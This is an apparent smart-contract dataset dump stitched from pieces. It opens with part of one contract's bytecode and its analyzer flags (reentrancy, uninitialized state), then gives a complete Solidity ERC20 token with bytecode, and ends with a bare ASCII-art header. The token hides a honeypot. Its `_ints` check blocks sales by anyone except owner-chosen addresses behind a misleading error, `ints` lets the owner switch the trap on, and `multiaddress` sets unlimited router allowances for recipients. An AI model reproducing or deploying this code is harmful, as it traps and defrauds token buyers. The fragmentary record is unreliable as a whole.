ffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea1906127a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1190612834565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff891906122df565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106c906128c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc90612958565b60405180910390fd5b60008111611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906129ea565b60405180910390fd5b6002600a81905550600a600b8190555061114061079b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156111ae575061117e61079b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156115fa57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112575750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61126057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561130b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113615750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113795750600f60179054906101000a900460ff165b156114295760105481111561138d57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106113d857600080fd5b601e426113e59190612a39565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156114d45750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561152a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611540576002600a81905550600a600b819055505b600061154b306105f7565b9050600f60159054906101000a900460ff161580156115b85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156115d05750600f60169054906101000a900460ff165b156115f8576115de816117d7565b600047905060008111156115f6576115f54761166e565b5b505b505b611605838383611a50565b505050565b6000838311158290611652576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611649919061219f565b60405180910390fd5b50600083856116619190612a8f565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6116be600284611a6090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156116e9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61173a600284611a6090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611765573d6000803e3d6000fd5b5050565b60006008548211156117b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a790612b35565b60405180910390fd5b60006117ba611aaa565b90506117cf8184611a6090919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561180f5761180e612b55565b5b60405190808252806020026020018201604052801561183d5781602001602082028036833780820191505090505b509050308160008151811061185557611854612b84565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118fc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119209190612561565b8160018151811061193457611933612b84565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061199b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e3a565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016119ff959493929190612c71565b600060405180830381600087803b158015611a1957600080fd5b505af1158015611a2d573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611a5b838383611ad5565b505050565b6000611aa283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ca0565b905092915050565b6000806000611ab7611d03565b91509150611ace8183611a6090919063ffffffff16565b9250505090565b600080600080600080611ae787611d65565b955095509550955095509550611b4586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bda85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c2681611e75565b611c308483611f32565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c8d91906122df565b60405180910390a3505050505050505050565b60008083118290611ce7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cde919061219f565b60405180910390fd5b5060008385611cf69190612cfa565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050611d39683635c9adc5dea00000600854611a6090919063ffffffff16565b821015611d5857600854683635c9adc5dea00000935093505050611d61565b81819350935050505b9091565b6000806000806000806000806000611d828a600a54600b54611f6c565b9250925092506000611d92611aaa565b90506000806000611da58e878787612002565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611e0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160a565b905092915050565b6000808284611e269190612a39565b905083811015611e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6290612d77565b60405180910390fd5b8091505092915050565b6000611e7f611aaa565b90506000611e96828461208b90919063ffffffff16565b9050611eea81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611f4782600854611dcd90919063ffffffff16565b600881905550611f6281600954611e1790919063ffffffff16565b6009819055505050565b600080600080611f986064611f8a888a61208b90919063ffffffff16565b611a6090919063ffffffff16565b90506000611fc26064611fb4888b61208b90919063ffffffff16565b611a6090919063ffffffff16565b90506000611feb82611fdd858c611dcd90919063ffffffff16565b611dcd90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061201b858961208b90919063ffffffff16565b90506000612032868961208b90919063ffffffff16565b90506000612049878961208b90919063ffffffff16565b90506000612072826120648587611dcd90919063ffffffff16565b611dcd90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561209e5760009050612100565b600082846120ac9190612d97565b90508284826120bb9190612cfa565b146120fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f290612e63565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612140578082015181840152602081019050612125565b8381111561214f576000848401525b50505050565b6000601f19601f8301169050919050565b600061217182612106565b61217b8185612111565b935061218b818560208601612122565b61219481612155565b840191505092915050565b600060208201905081810360008301526121b98184612166565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006121f1826121c6565b9050919050565b612201816121e6565b811461220c57600080fd5b50565b60008135905061221e816121f8565b92915050565b6000819050919050565b61223781612224565b811461224257600080fd5b50565b6000813590506122548161222e565b92915050565b60008060408385031215612271576122706121c1565b5b600061227f8582860161220f565b925050602061229085828601612245565b9150509250929050565b60008115159050919050565b6122af8161229a565b82525050565b60006020820190506122ca60008301846122a6565b92915050565b6122d981612224565b82525050565b60006020820190506122f460008301846122d0565b92915050565b600080600060608486031215612313576123126121c1565b5b60006123218682870161220f565b93505060206123328682870161220f565b925050604061234386828701612245565b9150509250925092565b600060ff82169050919050565b6123638161234d565b82525050565b600060208201905061237e600083018461235a565b92915050565b61238d8161229a565b811461239857600080fd5b50565b6000813590506123aa81612384565b92915050565b6000602082840312156123c6576123c56121c1565b5b60006123d48482850161239b565b91505092915050565b6000602082840312156123f3576123f26121c1565b5b60006124018482850161220f565b91505092915050565b612413816121e6565b82525050565b600060208201905061242e600083018461240a565b92915050565b6000806040838503121561244b5761244a6121c1565b5b60006124598582860161220f565b925050602061246a8582860161220f565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124aa602083612111565b91506124b582612474565b602082019050919050565b600060208201905081810360008301526124d98161249d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612516601783612111565b9150612521826124e0565b602082019050919050565b6000602082019050818103600083015261254581612509565b9050919050565b60008151905061255b816121f8565b92915050565b600060208284031215612577576125766121c1565b5b60006125858482850161254c565b91505092915050565b60006040820190506125a3600083018561240a565b6125b0602083018461240a565b9392505050565b6000819050919050565b6000819050919050565b60006125e66125e16125dc846125b7565b6125c1565b612224565b9050919050565b6125f6816125cb565b82525050565b600060c082019050612611600083018961240a565b61261e60208301886122d0565b61262b60408301876125ed565b61263860608301866125ed565b612645608083018561240a565b61265260a08301846122d0565b979650505050505050565b60008151905061266c8161222e565b92915050565b60008060006060848603121561268b5761268a6121c1565b5b60006126998682870161265d565b93505060206126aa8682870161265d565b92505060406126bb8682870161265d565b9150509250925092565b60006040820190506126da600083018561240a565b6126e760208301846122d0565b9392505050565b6000815190506126fd81612384565b92915050565b600060208284031215612719576127186121c1565b5b6000612727848285016126ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061278c602483612111565b915061279782612730565b604082019050919050565b600060208201905081810360008301526127bb8161277f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061281e602283612111565b9150612829826127c2565b604082019050919050565b6000602082019050818103600083015261284d81612811565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006128b0602583612111565b91506128bb82612854565b604082019050919050565b600060208201905081810360008301526128df816128a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612942602383612111565b915061294d826128e6565b604082019050919050565b6000602082019050818103600083015261297181612935565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006129d4602983612111565b91506129df82612978565b604082019050919050565b60006020820190508181036000830152612a03816129c7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a4482612224565b9150612a4f83612224565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a8457612a83612a0a565b5b828201905092915050565b6000612a9a82612224565b9150612aa583612224565b925082821015612ab857612ab7612a0a565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612b1f602a83612111565b9150612b2a82612ac3565b604082019050919050565b60006020820190508181036000830152612b4e81612b12565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612be8816121e6565b82525050565b6000612bfa8383612bdf565b60208301905092915050565b6000602082019050919050565b6000612c1e82612bb3565b612c288185612bbe565b9350612c3383612bcf565b8060005b83811015612c64578151612c4b8882612bee565b9750612c5683612c06565b925050600181019050612c37565b5085935050505092915050565b600060a082019050612c8660008301886122d0565b612c9360208301876125ed565b8181036040830152612ca58186612c13565b9050612cb4606083018561240a565b612cc160808301846122d0565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d0582612224565b9150612d1083612224565b925082612d2057612d1f612ccb565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612d61601b83612111565b9150612d6c82612d2b565b602082019050919050565b60006020820190508181036000830152612d9081612d54565b9050919050565b6000612da282612224565b9150612dad83612224565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612de657612de5612a0a565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e4d602183612111565b9150612e5882612df1565b604082019050919050565b60006020820190508181036000830152612e7c81612e40565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b1f11c3dd03c974e1d7ef1826285f61dc617b28829c2cf64f8a80bcfa762702b64736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,148 |
0xabf93128db6c52e30786a4f04b96c5b4f0b6d348
|
/**
_______ _______ _______
/ \ / \ / \
$$$$$$$ |$$$$$$$ |$$$$$$$ |
$$ |__$$ |$$ |__$$ |$$ |__$$ |
$$ $$< $$ $$< $$ $$<
$$$$$$$ |$$$$$$$ |$$$$$$$ |
$$ | $$ |$$ | $$ |$$ | $$ |
$$ | $$ |$$ | $$ |$$ | $$ |
$$/ $$/ $$/ $$/ $$/ $$/
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d714610281578063a9059cbb146102ad578063b952390d146102d9578063dd62ed3e1461040a576100cf565b8063438dd0871461022b57806370a082311461025357806395d89b4114610279576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc610438565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356104ce565b604080519115158252519081900360200190f35b6101996104eb565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356104f1565b6101e961057e565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610587565b6102516004803603602081101561024157600080fd5b50356001600160a01b03166105db565b005b6101996004803603602081101561026957600080fd5b50356001600160a01b031661064e565b6100dc610669565b61017d6004803603604081101561029757600080fd5b506001600160a01b0381351690602001356106ca565b61017d600480360360408110156102c357600080fd5b506001600160a01b038135169060200135610738565b610251600480360360608110156102ef57600080fd5b60ff823516919081019060408101602082013564010000000081111561031457600080fd5b82018360208201111561032657600080fd5b8035906020019184602083028401116401000000008311171561034857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561039857600080fd5b8201836020820111156103aa57600080fd5b803590602001918460208302840111640100000000831117156103cc57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061074c945050505050565b6101996004803603604081101561042057600080fd5b506001600160a01b0381358116916020013516610840565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c45780601f10610499576101008083540402835291602001916104c4565b820191906000526020600020905b8154815290600101906020018083116104a757829003601f168201915b5050505050905090565b60006104e26104db61086b565b848461086f565b50600192915050565b60035490565b60006104fe84848461095b565b6105748461050a61086b565b61056f85604051806060016040528060288152602001610d27602891396001600160a01b038a1660009081526001602052604081209061054861086b565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610acd16565b61086f565b5060019392505050565b60065460ff1690565b60006104e261059461086b565b8461056f85600160006105a561086b565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610b6416565b60065461010090046001600160a01b0316331461062c576040805162461bcd60e51b815260206004820152600a6024820152690215f61646472657373360b41b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104c45780601f10610499576101008083540402835291602001916104c4565b60006104e26106d761086b565b8461056f85604051806060016040528060258152602001610d98602591396001600061070161086b565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610acd16565b60006104e261074561086b565b848461095b565b60005b825181101561083a5760065461010090046001600160a01b0316331415610832576107a083828151811061077f57fe5b602002602001015183838151811061079357fe5b6020026020010151610738565b508360ff16811015610832576001600860008584815181106107be57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555061083283828151811061080c57fe5b6020026020010151600260009054906101000a90046001600160a01b0316600a5461086f565b60010161074f565b50505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166108b45760405162461bcd60e51b8152600401808060200182810382526024815260200180610d746024913960400191505060405180910390fd5b6001600160a01b0382166108f95760405162461bcd60e51b8152600401808060200182810382526022815260200180610cdf6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166109a05760405162461bcd60e51b8152600401808060200182810382526025815260200180610d4f6025913960400191505060405180910390fd5b6001600160a01b0382166109e55760405162461bcd60e51b8152600401808060200182810382526023815260200180610cbc6023913960400191505060405180910390fd5b6109f0838383610bc5565b6109fb838383610bca565b610a3e81604051806060016040528060268152602001610d01602691396001600160a01b038616600090815260208190526040902054919063ffffffff610acd16565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610a73908263ffffffff610b6416565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115610b5c5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b21578181015183820152602001610b09565b50505050905090810190601f168015610b4e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015610bbe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b505050565b6006546001600160a01b038381166101009092041614801590610c0057506006546001600160a01b038481166101009092041614155b8015610c22575060075460065461010090046001600160a01b03908116911614155b8015610c2f575060095481115b15610bc5576007546001600160a01b0384811691161480610c5d57506002546001600160a01b038481169116145b80610c8057506001600160a01b03831660009081526008602052604090205460ff165b610bc55760405162461bcd60e51b8152600401808060200182810382526025815260200180610d4f6025913960400191505060405180910390fdfe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201a655658ad2b16172401e0c666edcc182f34addb4781b0ef629dfdbbd23a44e364736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,149 |
0x8118c86f32bf3f908f3bd46fad949a5befa0cba5
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
/**
*Submitted for verification at Etherscan.io on
*/
//SPDX-License-Identifier: UNLICENSED
/*
$ NEXT SHIBA PLAY $
_________ ________ ___ ____ _ ______ ____ ____ _____ _____ ____ _____ _____ _____
| _ _ ||_ __ ||_ ||_ _| / \ .' ____ \ |_ || _||_ _||_ _||_ \|_ _||_ _||_ _|
|_/ | | \_| | |_ \_| | |_/ / / _ \ | (___ \_| | |__| | | | | | | \ | | | | | |
| | | _| _ | __'. / ___ \ _.____`. | __ | | | | | | |\ \| | | ' ' |
_| |_ _| |__/ | _| | \ \_ _/ / \ \_| \____) | _| | | |_ _| |_ _| |_ _| |_\ |_ \ \__/ /
|_____| |________||____||____||____| |____|\______.'|____||____||_____||_____||_____|\____| `.__.'
*/
